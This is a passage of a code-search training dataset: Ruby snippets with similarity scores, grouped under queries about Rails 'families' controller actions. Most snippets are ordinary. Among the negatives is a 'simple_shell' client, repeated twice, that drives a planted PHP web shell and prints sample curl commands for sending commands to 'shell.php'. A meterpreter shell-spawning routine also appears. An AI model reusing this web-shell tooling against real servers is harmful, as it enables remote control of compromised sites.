"def shell_out command=nil\n $shell_history ||= []\n command ||= get_string(\"Enter system command:\", :maxlen => 50) do |f|\n require 'canis/core/include/rhistory'\n f.extend(FieldHistory)\n f.history($shell_history)\n end\n ##w = @window || @form.window\n #w.hide\n Ncurses.endwin\n ret = system command\n Ncurses.refresh\n #Ncurses.curs_set 0 # why ?\n #w.show\n return ret\n end",
"def close\n if @state != :closed\n @log.debug \"closing sftp channel\" if @log.debug?\n @channel.close\n @state = :closed\n end\n end",
"def simple_shell(id, url)\n print_line(\"\")\n prompt = \"(CMD)> \"\n while line = Readline.readline(\"#{prompt}\", true)\n cmd = line.chomp\n case cmd\n when /^exit|^quit/i\n print_line(\"\")\n print_error(\"OK, exiting pseudo shell....\")\n print_caution(\"In case you were wondering, to connect via Curl: \")\n case id\n when 1\n print_line(\"SYSTEM SHELL:\\ncurl -s http://site.com/path/2/shell.php?foo=<INSERT_CMD_HERE>\")\n when 2\n print_line(\"EVAL SHELL:\\ncurl -s http://site.com/path/2/shell.php?foo=<INSERT_BASE64_ENCODED_PHP-CMD_HERE>\")\n when 3\n print_line(\"PASSTHRU HEADER SHELL:\\ncurl -s http://site.com/path/2/shell.php -H \\\"FOO: <INSERT_BASE64_ENCODED_CMD_HERE>\\\"\")\n when 4\n print_line(\"CREATE_FUNCTION EVAL HEADER SHELL:\\ncurl -s http://site.com/path/2/shell.php -H \\\"FOO: <INSERT_BASE64_ENCODED_PHP-CMD_HERE>\\\"\")\n end\n print_error(\"Returning to Main Menu...\")\n break\n else\n case id\n when 1\n link = url + \"?foo=#{cmd.space2plus}\"\n when 2\n code = Base64.encode64(cmd)\n link = url + \"?foo=#{code.chomp}\"\n when 3\n code = Base64.encode64(cmd)\n if not $config['HTTP']['HTTP_HEADERS_ADD']\n turn_off=true\n $config['HTTP']['HTTP_HEADERS_ADD'] = true\n end\n $config['HTTP']['HTTP_HEADERS'].store('FOO', code.chomp)\n link = url\n when 4\n code = Base64.encode64(cmd)\n if not $config['HTTP']['HTTP_HEADERS_ADD']\n turn_off=true\n $config['HTTP']['HTTP_HEADERS_ADD'] = true\n end\n $config['HTTP']['HTTP_HEADERS'].store('FOO', code.chomp)\n link = url\n end\n rez=@http.get(link)\n if rez[0] =~ /___(.+)/m\n res=$1.chomp\n if res != ''\n cmd_results=rez[0].split(\"__\")[1]\n print_line(\"#{cmd_results.sub('_', '').chomp}\") unless cmd_results.nil? or cmd_results == '_'\n print_line(\"\") if cmd_results.nil? or cmd_results == '_'\n print_error(\"No Results Found in Output!\") if cmd_results.nil? or cmd_results == '_'\n print_line(\"\")\n else\n print_line(\"\")\n print_error(\"No Results Found in Output!\")\n print_line(\"\")\n end\n else\n print_line(\"\")\n print_error(\"No Results Found in Output!\")\n print_line(\"\")\n end\n $config['HTTP']['HTTP_HEADERS'].delete('FOO') if $config['HTTP']['HTTP_HEADERS'].keys.include?('FOO')\n if turn_off\n $config['HTTP']['HTTP_HEADERS_ADD'] = false\n end\n end\n end\n end",
"def simple_shell(id, url)\n print_line(\"\")\n prompt = \"(CMD)> \"\n while line = Readline.readline(\"#{prompt}\", true)\n cmd = line.chomp\n case cmd\n when /^exit|^quit/i\n print_line(\"\")\n print_error(\"OK, exiting pseudo shell....\")\n print_caution(\"In case you were wondering, to connect via Curl: \")\n case id\n when 1\n print_line(\"SYSTEM SHELL:\\ncurl -s http://site.com/path/2/shell.php?foo=<INSERT_CMD_HERE>\")\n when 2\n print_line(\"EVAL SHELL:\\ncurl -s http://site.com/path/2/shell.php?foo=<INSERT_BASE64_ENCODED_PHP-CMD_HERE>\")\n when 3\n print_line(\"PASSTHRU HEADER SHELL:\\ncurl -s http://site.com/path/2/shell.php -H \\\"FOO: <INSERT_BASE64_ENCODED_CMD_HERE>\\\"\")\n when 4\n print_line(\"CREATE_FUNCTION EVAL HEADER SHELL:\\ncurl -s http://site.com/path/2/shell.php -H \\\"FOO: <INSERT_BASE64_ENCODED_PHP-CMD_HERE>\\\"\")\n end\n print_error(\"Returning to Main Menu...\")\n break\n else\n case id\n when 1\n link = url + \"?foo=#{cmd.space2plus}\"\n when 2\n code = Base64.encode64(cmd)\n link = url + \"?foo=#{code.chomp}\"\n when 3\n code = Base64.encode64(cmd)\n if not $config['HTTP']['HTTP_HEADERS_ADD']\n turn_off=true\n $config['HTTP']['HTTP_HEADERS_ADD'] = true\n end\n $config['HTTP']['HTTP_HEADERS'].store('FOO', code.chomp)\n link = url\n when 4\n code = Base64.encode64(cmd)\n if not $config['HTTP']['HTTP_HEADERS_ADD']\n turn_off=true\n $config['HTTP']['HTTP_HEADERS_ADD'] = true\n end\n $config['HTTP']['HTTP_HEADERS'].store('FOO', code.chomp)\n link = url\n end\n rez=@http.get(link)\n if rez[0] =~ /___(.+)/m\n res=$1.chomp\n if res != ''\n cmd_results = rez[0].split(\"__\")[1]\n print_line(\"#{cmd_results.sub('_', '').chomp}\") unless cmd_results.nil? or cmd_results == '_'\n print_line(\"\") if cmd_results.nil? or cmd_results == '_'\n print_error(\"No Results Found in Output!\") if cmd_results.nil? or cmd_results == '_'\n print_line(\"\")\n else\n print_line(\"\")\n print_error(\"No Results Found in Output!\")\n print_line(\"\")\n end\n else\n print_line(\"\")\n print_error(\"No Results Found in Output!\")\n print_line(\"\")\n end\n $config['HTTP']['HTTP_HEADERS'].delete('FOO') if $config['HTTP']['HTTP_HEADERS'].keys.include?('FOO')\n if turn_off\n $config['HTTP']['HTTP_HEADERS_ADD'] = false\n end\n end\n end\n end",
"def cmd_shell(*args)\n use_pty = false\n sh_path = '/bin/bash'\n\n @@shell_opts.parse(args) do |opt, idx, val|\n case opt\n when '-h'\n cmd_shell_help\n return true\n when '-l'\n return false unless client.fs.file.exist?('/etc/shells')\n\n begin\n client.fs.file.open('/etc/shells') do |f|\n print(f.read) until f.eof\n end\n rescue\n return false\n end\n\n return true\n when '-t'\n use_pty = true\n # XXX: No other options must follow\n sh_path = val if val\n end\n end\n\n case client.platform\n when 'windows'\n path = client.sys.config.getenv('COMSPEC')\n path = (path && !path.empty?) ? path : 'cmd.exe'\n\n # attempt the shell with thread impersonation\n begin\n cmd_execute('-f', path, '-c', '-i', '-H', '-t')\n rescue\n # if this fails, then we attempt without impersonation\n print_error('Failed to spawn shell with thread impersonation. Retrying without it.')\n cmd_execute('-f', path, '-c', '-i', '-H')\n end\n when 'android'\n cmd_execute('-f', '/system/bin/sh', '-c', '-i')\n when 'linux', 'osx'\n if use_pty && pty_shell(sh_path)\n return true\n end\n\n cmd_execute('-f', '/bin/sh', '-c', '-i')\n else\n # Then this is a multi-platform meterpreter (e.g., php or java), which\n # must special-case COMSPEC to return the system-specific shell.\n path = client.sys.config.getenv('COMSPEC')\n\n # If that failed for whatever reason, guess it's unix\n path = (path && !path.empty?) ? path : '/bin/sh'\n\n if use_pty && path == '/bin/sh' && pty_shell(sh_path)\n return true\n end\n\n cmd_execute('-f', path, '-c', '-i')\n end\n end",
"def disconnect_ssh_tunnel\n @logger.debug('closing SSH tunnel..')\n\n @ssh.shutdown! unless @ssh.nil?\n @ssh = nil\n end",
"def ready_to_open_host_session\n @local_serial = false # default for host\n load_prompt_file # prompt regexp of device\n spawn_cmd = make_spawn_command\n if @prompt && spawn_cmd\n yield spawn_cmd\n else\n @logger.error 'Invalid parameter in param file(S)'\n end\n end"
] |
[
"0.6331439",
"0.60656524",
"0.6021583",
"0.60133636",
"0.59945434",
"0.59879714",
"0.5928798",
"0.58771306",
"0.585966",
"0.5833521",
"0.58304054",
"0.57491946",
"0.57074744",
"0.56920445",
"0.5641087",
"0.5603728",
"0.5551568",
"0.55476314",
"0.55278563",
"0.55008787",
"0.5490517",
"0.5479537",
"0.54722416",
"0.5432575",
"0.54184926",
"0.54116625",
"0.5393378",
"0.5379787",
"0.5349273",
"0.5330548",
"0.5316724",
"0.5306798",
"0.53009444",
"0.5274658",
"0.5263543",
"0.5262907",
"0.525288",
"0.52443117",
"0.5243107",
"0.5234276",
"0.5234276",
"0.52319884",
"0.5229105",
"0.522485",
"0.5216896",
"0.5197201",
"0.51837754",
"0.5172877",
"0.51713675",
"0.5164828",
"0.5154393",
"0.51368177",
"0.5126823",
"0.5111046",
"0.51094687",
"0.51022035",
"0.51012534",
"0.50913036",
"0.50799084",
"0.50742024",
"0.5063653",
"0.5062173",
"0.5050717",
"0.5044912",
"0.5033667",
"0.5017676",
"0.49932256",
"0.4980179",
"0.4959301",
"0.4951357",
"0.49359876",
"0.49335298",
"0.49301827",
"0.49254125",
"0.49165624",
"0.49138165",
"0.49036604",
"0.49007794",
"0.48967448",
"0.48961613",
"0.48790118",
"0.48789018",
"0.48770535",
"0.48645958",
"0.4860665",
"0.4855906",
"0.4855794",
"0.4834398",
"0.48337892",
"0.48276222",
"0.48201156",
"0.48185667",
"0.48185667",
"0.48168012",
"0.4806809",
"0.47962147",
"0.47962147",
"0.47954777",
"0.47924602",
"0.47784492"
] |
0.5037634
|
64
|
GET /families/1 GET /families/1.json
|
def show
@family = Family.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @family }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @index_action = true\n @families = Family.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @families }\n end\n end",
"def show\n @family = Family.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @family }\n end\n end",
"def show\n @family = get_family(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @family }\n end\n end",
"def index\n @families = Family.all.paginate(page: params[:page])\n render json: @families\n end",
"def index\n @families = Family.all\n end",
"def index\n @families = Family.all\n end",
"def index\n @families = Family.all\n end",
"def index\r\n @families = Family.all\r\n end",
"def show\n family = current_family\n p current_family\n render json: family.as_json\n end",
"def jobfamily\n @jobfamilies = @company.jobfamilies\n respond_to do |format|\n format.json { render json: @jobfamilies}\n end\n end",
"def index\n @family_members = FamilyMember.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @family_members }\n end\n end",
"def show\n @family_member = FamilyMember.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @family_member }\n end\n end",
"def show\n @family_member = FamilyMember.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @family_member }\n end\n end",
"def index\n @farmer_families = @farmer.farmer_families\n end",
"def list_families\n http_get(:uri=>\"/plugins/families\", :fields=>x_cookie)\n end",
"def index\n @sub_families = SubFamily.all\n end",
"def show\n @family_history = FamilyHistory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @family_history }\n end\n end",
"def show\n respond_to do |format|\n if current_user==nil\n render json: {error: 'No estas logeado'}, status: 401\n elsif @family==nil\n format.json { render json: {error: \"El familiar no existe\"}, status: :not_found }\n elsif current_user.families.include?(@family)==false\n format.json { render json: {error: 'No posees permisos para ver a esta persona'}, status: 401 }\n else\n format.json { render json: {family: @family, intolerances: @family.intolerances} }\n end\n format.html {}\n end\n end",
"def family(id)\n Family.find(id)\n end",
"def index\n @family_relationships = FamilyRelationship.all\n end",
"def index\n @families = current_church.families\n flash[:alert] = t('.not_found') if @families.blank?\n end",
"def show\n @family_crest = FamilyCrest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @family_crest }\n end\n end",
"def index\n @families = Family.find(:all, :select => \"id, business_name\", :order => \"business_name ASC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @families }\n end\n end",
"def show\n @control_family = ControlFamily.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @control_family }\n end\n end",
"def index\n @family_members = @current_family.family_members\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @family_members }\n end\n end",
"def show\n @family ||= Family.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @family }\n end\n end",
"def new\n @family = Family.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @family }\n end\n end",
"def index\n @family_groups = FamilyGroup.all\n end",
"def show\n @family_unit = FamilyUnit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @family_unit }\n end\n end",
"def index\n @species = Species.eager_load(:family, :species_locations, :images).order('families.name')\n respond_to do |format|\n format.html {\n not_found\n }\n format.xml { render :xml => @species }\n format.json {\n render :template => 'species/index.json'\n }\n end\n end",
"def show\n @father = Father.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @father }\n end\n end",
"def index\n @people = Person.includes(:registry).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @people }\n end\n end",
"def index\n\t\t@families = Family.paginate(:per_page => 5, :page => params[:page])\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @families }\n\t\t\tformat.js # index.js.erb\n end\n end",
"def index\n @product_families = ProductFamily.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @product_families }\n end\n end",
"def family_id\n @gapi.family_id\n end",
"def show\n if current_user.is_family_reporter? && (params[:id] != current_user.family_id.to_s)\n flash[:error] = \"You do not have permission to access this page.\"\n redirect_to home_path\n else\n @family = Family.find(params[:id], :include => [:users])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @family }\n end\n end\n end",
"def show\n @family_blog = FamilyBlog.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @family_blog }\n end\n end",
"def destroy\n @family = Family.find(params[:id])\n @family.destroy\n\n respond_to do |format|\n format.html { redirect_to families_url }\n format.json { head :no_content }\n end\n end",
"def index\n @family_images = FamilyImage.all\n\n render json: @family_images\n end",
"def set_family\n @family = Family.includes(members:[:contacts]).find(params[:id])\n end",
"def families\n response = @client.get('plugins/families')\n verify response,\n forbidden: 'You do not have permission to view plugin families',\n internal_server_error: 'Server failed to retrieve the plugin '\\\n 'family list.'\n end",
"def destroy\n @family.destroy\n respond_to do |format|\n format.html { redirect_to families_url }\n format.json { head :no_content }\n end\n end",
"def index\n @os_families = OsFamily.all\n end",
"def set_family\n @family = Family.find(params[:id])\n end",
"def set_family\n @family = Family.find(params[:id])\n end",
"def families\n @ks[:family].keys\n end",
"def getFamilyStatus\r\n\t\t@responseObject = OpenStruct.new({\r\n\t\t\tstatus: true,\r\n\t\t\terrors: [],\r\n code: API_CODE_ERRORS['Services']['Global']['success'],\r\n\t\t\tobjectData: FamilyGender.find(:all, :order => 'name DESC')\r\n\t\t})\r\n\t\trender :template => 'api/v1/users/members/familyStatus' ,:handlers => [:rabl],:formats => [:json]\r\n\tend",
"def show\n @family_background = FamilyBackground.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @family_background }\n end\n end",
"def index\n @product_families = ProductFamily.paginate(:page => params[:page], :order => \"name ASC\")\n @title = \"All Product Families\"\n end",
"def show\n begin\n @gender = Gender.find(params[:id]) \n\n render json: @gender, status: 200\n rescue ActiveRecord::RecordNotFound\n render json: {status: \"gender not found\"}, status: 404\n end\n end",
"def set_family\n @family = Family.find(params[:id])\n end",
"def set_family\n @family = Family.find(params[:id])\n end",
"def set_family\n @family = Family.friendly.find(params[:id])\n end",
"def set_family\r\n @family = Family.find(params[:id])\r\n end",
"def index\n @fdn_org_hierarchies = Fdn::OrgHierarchy.paginate(:page => params[:page]).order(\"created_by DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fdn_org_hierarchies }\n end\n end",
"def show\n @forest = Forest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @forest }\n end\n end",
"def set_family\n @family = Family.find_by_id(params[:id])\n end",
"def new\n @family_member = FamilyMember.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @family_member }\n end\n end",
"def new\n @family_member = FamilyMember.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @family_member }\n end\n end",
"def show\n @person = Person.find(params[:id])\n @registry = Registry.where('email = ?', @person.email).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @person }\n end\n end",
"def index\n @language_families = LanguageFamily.all\n end",
"def family_by_name(name)\n Family.find_by_name(name)\n end",
"def show\n @manifestation_relationship_type = ManifestationRelationshipType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @manifestation_relationship_type }\n end\n end",
"def show\n render json: @family_image\n end",
"def index\n @relationships = Relationship.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @relationships }\n end\n end",
"def destroy\n @family.destroy\n respond_to do |format|\n format.html { redirect_to families_url, notice: 'Family was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def index\n @guests = Guest.all.order(:last_name)\n respond_with(@guests) do |format|\n format.to_json { @guests.to_json(:include => [:party, :group]) }\n end\n end",
"def show\n @card_font_family = CardFontFamily.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @card_font_family }\n end\n end",
"def show\n @gene_name = GeneName.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gene_name }\n end\n end",
"def show\n @guest = Guest.find(params[:id])\n respond_with(@guest) do |format|\n format.to_json { @guest.to_json(:include => [:party, :group]) }\n end\n end",
"def index\n @family_documents = FamilyDocument.all\n end",
"def create\n family_params\n f = params[:family]\n @family = Family.new\n @family.name = f[:name]\n\n respond_to do |format|\n if @family.save\n format.html { redirect_to @family, notice: 'Family was successfully created.' }\n format.json { render action: 'show', status: :created, location: @family }\n else\n format.html { render action: 'new' }\n format.json { render json: @family.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @vendor_relationship = VendorRelationship.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vendor_relationship }\n end\n end",
"def index\n\t\tall_people = Person.all.sort_by(&:id)\n\t\tif all_people\n\t\t\trender json: {people: all_people}\n\t\telse\n\t\t\trender body: 'People Not Found', status: 404\n\t\tend\n\tend",
"def show\n @family_id = @user.fam_id\n\t@login = @user.login\n\t@family = Fam.find(:all, :conditions => [\"id=?\", @family_id])\n #@calendar = @user.calendars.find(params[:id])\n\t@calendar = @family[0].users[0].calendars.find(params[:id])\n\t#@family = @calendar.families\n\t#@family = Family.find(:all, :conditions => [\"id=?\", \"1\"])\n\t@user = User.find(:all, :conditions => [\"id=?\", @calendar.user_id])\n\t@family = User.find(:all, :conditions => [\"fam_id=?\", @user[0].fam_id])\n\t@fam = Fam.find(:all)\n\t#@help = @fam[0].users[0].id\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @calendar }\n end\n end",
"def show\r\n @family = Family.find params[:id]\r\n @members = @family.members\r\n @member = @family.members.new\r\n @image = @family.images.new\r\n end",
"def index\n @frais_hebergements = FraisHebergement.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @frais_hebergements }\n end\n end",
"def show\n @product_family = ProductFamily.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product_family }\n end\n end",
"def show\n \n \n @people= Person.findByNameOrId(params[:id])\n \n if (@people.length == 1) \n @person = @people[0]\n else \n if(@people.length > 1)\n @name = params[:id].capitalize\n disambiguation\n return\n end\n end \n \n if(!@person)\n redirect_to '/search?q=' +params[:id].is_a?(Numeric) #+ params[:id].to_s + '&page=1'\n return\n end\n \n @max_depth = params[:family_tree_depth] || 3 \n @max_depth = @max_depth.to_i\n \n respond_to do |format|\n format.html { render :layout => \"main\" } # show.html.erb\n format.xml { render :xml => @person }\n end\n end",
"def show\n @relationship = Relationship.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @relationship }\n end\n end",
"def people\n Birdman::Requester.get(\"movies/#{id}/people\")\n end",
"def destroy\n\t\t@family ||= Family.find(params[:id])\n @family.destroy\n respond_to do |format|\n format.html { redirect_to(families_url) }\n format.xml { head :ok }\n end\n end",
"def create_jobfamily\n @jobfamily = @company.jobfamilies.create(name: params[:jobfamily][:name])\n respond_to do |format|\n format.json { render json: @jobfamily }\n end\n end",
"def destroy\r\n @family.destroy\r\n respond_to do |format|\r\n format.html { redirect_to families_url, notice: 'Family was successfully destroyed.' }\r\n format.json { head :no_content }\r\n end\r\n end",
"def show\n @gene_group = GeneGroup.find(params[:id], :include => :genes)\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @gene_group }\n format.text { render :text => @gene_group.json_query.to_s}\n end\n end",
"def show\n @breadcrumb = 'read'\n @product_family = ProductFamily.find(params[:id])\n @products = @product_family.products.paginate(:page => params[:page], :per_page => per_page).order('product_code')\n @stocks = @product_family.product_family_stocks.paginate(:page => params[:page], :per_page => per_page).order('store_id')\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product_family }\n end\n end",
"def show\n @gid2name = Gid2name.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gid2name }\n end\n end",
"def new\n @family_history = FamilyHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @family_history }\n end\n end",
"def show\n @lookup = Lookup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lookup }\n end\n end",
"def index\n head 404\n # @api_v1_followers = Api::V1::Follower.all\n\n # render json: @api_v1_followers\n end",
"def person(id)\n get(\"/catalog/people/#{id.to_s}\")\n end",
"def index\n @people = Person.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @people }\n end\n end",
"def show\n @fabric = Fabric.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fabric }\n end\n end",
"def get_relationship_by_id id\n headers = {\n 'Accept' => 'application/json; charset=UTF-8',\n }\n get_request 'relationship/' + id, headers\n end",
"def index\n manage_filter_state\n letter = params[:letter]\n init_oco if !session[:organization]\n\n @search = ProductFamily.search do\n fulltext params[:search]\n if session[:organization] != '0'\n with :organization_id, session[:organization]\n end\n if !letter.blank? && letter != \"%\"\n with(:name).starting_with(letter)\n end\n order_by :family_code, :asc\n paginate :page => params[:page] || 1, :per_page => per_page\n end\n @product_families = @search.results\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @product_families }\n format.js\n end\n end",
"def index\n id = params[:id].to_i\n\n if id != 0\n \t @agencies = @agencies.paginate(page: params[:page], per_page: 10).order(:name).find_all_by_id(id)\n if @agencies.any?\n @agency_name = @agencies.first.name\n end\n else\n \t @agencies = @agencies.paginate(page: params[:page], per_page: 10).order(:name).find(:all)\n end\n\n\t\t@records_returned = @agencies.count\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @agencies }\n end\n end",
"def update\n # go to params hash and get the id\n the_id = params['id']\n\n # grab a single family based on the id\n family = Family.find_by(id: the_id)\n\n # update it\n if family.update!(\n first_name: params[:first_name],\n last_name: params[:last_name],\n email: params[:email],\n password: params[:password],\n phone_number: params[:phone_number],\n street_address: params[:street_address],\n secondary_address: params[:secondary_address],\n city: params[:city],\n state: params[:state],\n zip_code: params[:zip_code],\n photo: params[:photo])\n render json: family.as_json\n else\n render json: {errors: family.errors.full_messages}\n end\n end",
"def friendships_show(options = {})\n @req.get(\"/1.1/friendships/show.json\", options)\n end",
"def show\n @agent_group = AgentGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @agent_group }\n end\n end",
"def set_family\n @family = Family.find(params[:family_id])\n end"
] |
[
"0.73359054",
"0.724417",
"0.7214146",
"0.7206399",
"0.7093841",
"0.7093841",
"0.7093841",
"0.6945207",
"0.6817828",
"0.67575496",
"0.66471833",
"0.6474473",
"0.6474473",
"0.6456767",
"0.64294004",
"0.6424024",
"0.63775104",
"0.626056",
"0.62563133",
"0.6234184",
"0.6186986",
"0.6183666",
"0.6178271",
"0.61641186",
"0.61553055",
"0.61334395",
"0.60600513",
"0.5971597",
"0.5935568",
"0.58857447",
"0.5884183",
"0.587683",
"0.5870795",
"0.5844919",
"0.5816631",
"0.5805454",
"0.5775911",
"0.57465434",
"0.5737673",
"0.57340986",
"0.5730747",
"0.57249695",
"0.5722594",
"0.56821984",
"0.56821984",
"0.567015",
"0.5648324",
"0.5630754",
"0.5620887",
"0.56125045",
"0.5602812",
"0.5602812",
"0.55994785",
"0.5596875",
"0.55962926",
"0.5555596",
"0.5553813",
"0.5551644",
"0.5551644",
"0.5531614",
"0.5510836",
"0.5508105",
"0.5504328",
"0.5487145",
"0.54860693",
"0.54842347",
"0.54808444",
"0.5474797",
"0.54736614",
"0.5473062",
"0.5472402",
"0.546749",
"0.5462119",
"0.54576176",
"0.5455312",
"0.5452324",
"0.5451599",
"0.5451052",
"0.5447288",
"0.5437677",
"0.5430006",
"0.5424767",
"0.541916",
"0.54173255",
"0.5414663",
"0.5412988",
"0.54123354",
"0.54031485",
"0.53758913",
"0.5370959",
"0.53676915",
"0.5361566",
"0.5361309",
"0.53612053",
"0.5358786",
"0.53563076",
"0.5356239",
"0.535598",
"0.5353579",
"0.5353541"
] |
0.7167201
|
4
|
GET /families/new GET /families/new.json
|
def new
@family = Family.new
respond_to do |format|
format.html # new.html.erb
format.json { render json: @family }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @family_member = FamilyMember.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @family_member }\n end\n end",
"def new\n @family_member = FamilyMember.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @family_member }\n end\n end",
"def new\n @family_history = FamilyHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @family_history }\n end\n end",
"def new\n @family_crest = FamilyCrest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @family_crest }\n end\n end",
"def new\n @family = Family.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @family }\n end\n end",
"def new\n @breadcrumb = 'create'\n @product_family = ProductFamily.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @product_family }\n end\n end",
"def create\n family_params\n f = params[:family]\n @family = Family.new\n @family.name = f[:name]\n\n respond_to do |format|\n if @family.save\n format.html { redirect_to @family, notice: 'Family was successfully created.' }\n format.json { render action: 'show', status: :created, location: @family }\n else\n format.html { render action: 'new' }\n format.json { render json: @family.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @father = Father.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @father }\n end\n end",
"def new\n @lookup = Lookup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lookup }\n end\n end",
"def new\n @control_family = ControlFamily.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @control_family }\n end\n end",
"def create\n @family = Family.new(family_params)\n addMembers\n respond_to do |format|\n if @family.save\n format.html { redirect_to @family, notice: 'Family was successfully created.' }\n format.json { render :show, status: :created, location: @family }\n else\n format.html { render :new }\n format.json { render json: @family.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_jobfamily\n @jobfamily = @company.jobfamilies.create(name: params[:jobfamily][:name])\n respond_to do |format|\n format.json { render json: @jobfamily }\n end\n end",
"def new\n @family_unit = FamilyUnit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @family_unit }\n end\n end",
"def new\n @party = Party.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @party }\n end\n end",
"def new\n @family_member = FamilyMember.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @family_member }\n end\n end",
"def new\n @person = people_type.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end",
"def create\n @family = Family.new(params[:family])\n\n respond_to do |format|\n if @family.save\n flash[:notice] = 'Family was successfully created.'\n format.html { redirect_to(@family) }\n format.xml { render :xml => @family, :status => :created, :location => @family }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @family.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @family = Family.new(params[:family])\n respond_to do |format|\n if @family.save\n flash[:notice] = 'Family was successfully created.'\n format.html { redirect_to(@family) }\n format.xml { render :xml => @family, :status => :created, :location => @family }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @family.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @dependent_relationship = DependentRelationship.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dependent_relationship }\n end\n end",
"def new\n @family_blog = FamilyBlog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @family_blog }\n end\n end",
"def new\n @forest = Forest.new\n @forest.trees.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @forest }\n end\n end",
"def new\n @manifestation_relationship_type = ManifestationRelationshipType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @manifestation_relationship_type }\n end\n end",
"def new\n @entity = Entity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entity }\n end\n end",
"def new\n @family_background = FamilyBackground.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @family_background }\n end\n end",
"def create\n @family_relationship = FamilyRelationship.new(family_relationship_params)\n\n respond_to do |format|\n if @family_relationship.save\n format.html { redirect_to @family_relationship, notice: 'Family relationship was successfully created.' }\n format.json { render :show, status: :created, location: @family_relationship }\n else\n format.html { render :new }\n format.json { render json: @family_relationship.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @person = Person.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end",
